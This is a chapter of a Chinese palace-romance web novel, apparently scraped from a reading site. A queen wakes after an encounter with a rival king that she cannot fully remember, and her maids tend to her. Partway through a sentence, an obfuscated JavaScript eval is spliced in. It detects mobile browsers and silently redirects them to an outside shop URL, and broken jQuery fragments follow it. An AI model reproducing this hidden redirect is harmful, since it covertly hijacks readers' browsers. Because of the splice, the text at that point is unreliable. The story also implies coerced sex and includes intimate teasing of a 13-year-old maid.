文趣网 > 都市小说 > 妖后她总被强取豪夺 > 9. 第 9 章
    之后的事情,苗禾安不得而知。她依稀记得,那个时候自己的意识已经开始朦胧,近乎处于人的本能,去迎合那一束滚烫而又急促的天光。

    一句句“夫人”,在耳畔低语,让苗禾安分不清魏淙也是在喊柳烟儿还是她自己,亦或是大王还是魏淙也在喊她。

    总之,万般思绪缠在一处,让苗禾安厌恶自己的本能,更痛恨魏淙也的无耻。

    往昔不堪屈辱的岁月,轮番撞入脑海,被舅舅卖了之后,无助的孩子辗转在各式各样的人面前,不停地放下自尊,如同尘芥,任人随意拨弄的同时,又渺小到微不足道。

    一阵舒快的感觉,由后腰爬至四肢百骸。苗禾安忍不住啼哭,似是陷入绝望的回忆里,又似是沉溺在眼下的温存里。两种截然相悖的情绪交织,肩头轻轻发颤,娇躯忍不住拱起。她忽而有些疲惫,浓烈的情绪,使其沉沉睡去。

    “夫人,为夫会小心的,不会伤及朔王的孩子。”

    魏淙也那一双深不见底的星眸,浮现出了餍足。可那肩胛骨处微微渗出了血色,痛感的传来的瞬间,又很快被一股浓烈的情绪压住,等到它有片刻的停顿,才会悄悄冒出头。

    日高三竿时,苗禾安早已回到了漪兰殿,她这一觉格外得沉,偶尔有意识的时候,也是昨夜纠缠的碎影,以及潇若、潇乐为她擦拭身子的轻柔动作。

    殿外的潇若和潇乐时不时往殿内望去,看到苗禾安没有转醒的迹象,刚放下的心又开始悬了起来。她们的心思各异,但到底还是担忧苗禾安的,故而除了彼此,其他人想要进殿的,都以「王后正憩息,不可惊扰」为由,被拦了下来。

    “你说王后与周王……”潇乐语带探寻,眸里并无恶意。

    潇若拉住她的手腕,眼里透着告诫,稚气未消的小脸浮现出一抹凝重,“你我只需做好分内之事,剩下的就不是我等能窥探的了。”语气稍顿,推心置腹地与潇乐说,“我们是漪兰殿的人,无论发生何事,皆要利于王后。若被发现一仆侍二主。不说王后计较与否,只说大王……他也绝不允许有人会对王后不利。”

    潇乐迟疑道:“可王后若与那周王……大王难道不会心生嫌隙吗?”

    潇若知道潇乐的顾虑,她不是不忠于王后,只是担心王后和周王之间的关系,若被人挑明,闹到大王那里去,她会不会有性命之忧。思忖须臾,潇若叹道:“这件事除了你我,便只有守在暗处的侍卫知晓。他们应该不是多嘴之人,再者王后哪般,唯有你我近身服侍的人才知,想来他们也只以为是正常邦交。总而言之,你我管好自己的嘴,莫要多言。”

    “周王现今仍在朔国,就算借他八百个胆子,也不会在这个时候挑衅大王。现在唯一不明朗的,是那群侍卫,但愿他们知道什么能说,什么不能说吧。”潇乐鼓了鼓腮帮子,整颗头颅都耷拉了下来,心烦意乱地重重一叹。

    两相沉默,皆是一阵头疼。

    不知过了多久,苗禾安悠悠醒来,睡眼朦胧地环顾四周,发现这是漪兰殿,心里不知为何升起了一丝复杂。她缓缓坐起来,伸手按着额角,想到那场似梦非梦地荒谬梦境,不禁讽刺地扯动着红肿的唇瓣,单手抚上小腹,孩儿啊孩儿,你还真是赖在我的肚子里不出来了,不管被我怎么折腾,你都是坚如磐石呀!也好,你若无用,那就不是我苗禾安的孩子!

    苗禾安对腹中孩儿的情感,尤为复杂。时而喜爱,时而讨厌。下意识地相护,是出于母爱,还是出于利用,哪个更多一点,或许连她自己都分不清,但能确认一点,那就是这个孩子一定是太子。如果不是太子,那她凭什么要生下他?

    “王后醒了!潇乐,快去拿鱼洗和净巾来。”潇若在听到动静后,立即入殿,看到苗禾安已然坐立,高声吩咐着外面的潇乐,之后她又想到了什么,道:“对了,王后的安胎药可以熬着了。待用完膳后,再服用。记住,不要将刚熬好的药端上来,王后上次喝了之后,嘴边都长了好些燎浆,必须放凉,温热地端上了。”

    潇乐回道:“知道了,有我看着他们,定错不了,你就放心吧。”

    两人和谐自然的日常,牵动起了苗禾安的情绪,她饶有趣味地看了潇若一眼,“哎呀,我的好潇若,没有你,我可怎么办啊!要不……你陪我生生世世吧。”

    说罢,苗禾安伸手摩挲着潇若的下颌,另一只手往其腰间伸去,阵阵痒意起来,潇若求饶道:“王后,您就饶了奴婢吧。这生生世世的,那奴婢岂不成了那老妖物?奴婢才十三岁,才不要变得又老又丑的。”

    苗禾安板着张脸,一脸神秘地扬眉:“谁说老妖物都是不堪入目的?我这般如花似玉的人,怎么就被你说成这个样子?”

    潇若捕捉到了苗禾安眼中一闪而逝的兴味,立刻配合着,她面上佯装害怕,语气里却泄出了几分好奇:“难不成王后是那妖物?”

    苗禾安得意地挑笑:“不像吗?”

    潇若摇着头,“不像。王后的身姿气韵宛若天宫谪落的仙妃,清贵脱尘,旁人难及分毫。”

    苗禾安噗嗤一声,掩唇笑言:“想不到老实如潇若,竟然也学会了甜言蜜语。”

    潇若娇嗔地睨了一眼调笑的苗禾安,就在她低头抱羞的时候,潇乐带几名宫女进来,走到两人面前,并向苗禾安屈膝一礼。

    苗禾安轻轻颔首,几名宫女上前,服侍她洗脸净手。因有轻纱帷帐的层层相掩,旁侧置放的七轮扇缓缓旋动,清风穿隙拂过帘幕,只催得布幔微微荡开,如碧水波浪般的纹路,起落柔缓,倒生出几分云雾缭绕的瑶台静室的味道来,幽寂氤氲。

    待几名宫女退下后,苗禾安的手搭在潇乐的腕间,一侧的潇若持着牡丹薄纱菱扇,对着苗禾安的方向轻轻扇动,一股风意袭来,激得后脖泛起了细密的小疙瘩,苗禾安拢了拢领子,奈何穿得是圆领亵衣,拢了半刻,也无多大用处。

    坐在铜镜前,苗禾安注意到了脖子上布满了密密麻麻的红痕,甚至将领子扯下半寸,还能看到锁骨以及其他地方,亦是如此。她面如漆墨,忽而阴沉下来,恨恨地冷哼出声,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743872|209178||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    吓得潇若和潇乐二人停下当前的动作,互相看着彼此。

    “我是怎么回来的?”

    潇若实话实话道:“是您自己从驿站里走出来的,只不过那时您虽看起来并无异常,但奴婢是近身伺候您的,总觉得您……”

    她吞吐半晌,似是羞于启齿。潇乐见状,赶紧回道:“有似与大王相处的模样,但总归是没有失仪,旁人也揪不出错来。”

    苗禾安目光一冷,既然能从驿站里走出去,就说明她不是被魏淙也的人送出来的。可恶!为何两次与魏淙也独处,她的记忆都是残缺不全的?任她如何凝神细想,始终都是零碎的画面,寻不到半分清晰脉络。

    “去找些药膏来为我涂上,这副样子示人,成何体统?另外,找一些偶尔穿一次的交领衣裳,遮住这些令人心烦的痕迹,免得被人瞧出异样。”

    潇乐道:“这些事儿,潇若一早就交代给奴婢,就等您开口了。”

    苗禾安满意地轻点一下潇若的眉心,“还是我家潇若机灵能干。”

    潇乐失落地睁大眼睛,委屈巴巴地说:“王后偏心,奴婢难道就不贴心吗?”

    苗禾安莞尔一笑,将潇若、潇乐两人抱在怀里,举止亲昵到两个缝隙都没有留下,而潇若、潇乐嗅着苗禾安身上传来的沁人肺腑的香气,双颊纷纷晕出了显而易见的粉霞。

    “好好好,我都欢喜好不好?你们都要陪着我!一个也不许跑!”

    一转眼,苗禾安喝完安胎药、涂抹好红痕后,正准备在宫人的服侍下,穿上海棠色镂金百蝶穿花交领长裙。她在身前的镜子前,左右摆动了一下,嘴角微翘,“这衣裳倒是合乎我的心意。”

    潇若、潇乐相视一眼,异口同声道:“奴婢就知道王后会喜欢。”

    漪兰殿内欢声笑语,刚踏足此地,朔王心中憋着的一股烦躁郁闷,在此刻得以纾解,他的唇畔无察觉地勾勒出温情脉脉的笑容,身后的田福瑞瞧朔王方才还一脸愁眉不展,现下便能展开笑颜,内心对王后更是敬佩了几分。

    一行人疾步穿过走廊,廊侧两端是池沼,池沼蓄着清澈见底的碧水,里头放的不是鲤鱼这些鲜活的游物,而是放养着数尾灵龟,青褐色的龟甲于粼粼波光上,缓缓游动。

    “大王,您慢点!小心足下!”

    “寡人知道!”

    所谓一日不见如隔三秋,朔王只是数个时辰不见,晨昏时便心神不宁,就连昨夜案头上的政务,都险些无心理睬。好在朔王并非真正昏聩之人,他强压下心底翻涌的思念,敛下心神去处理朝中要事。

    “安儿!”

    循声看去,苗禾安面露喜色,刚迈开一步,昨夜记忆又占据了她的脑海,心中有千万的委屈想要诉说出来,她登时眼眶湿润,朝朔王的方向奔去。朔王急忙上前,稳健又轻柔地将苗禾安揽入怀中,嗅着颈窝处的芳香,喟然感慨。

    “安儿,无你在侧,相思不绝。”

    苗禾安眉间蕴出一丝动容,几欲张嘴,终是说道:“大王,周王他——”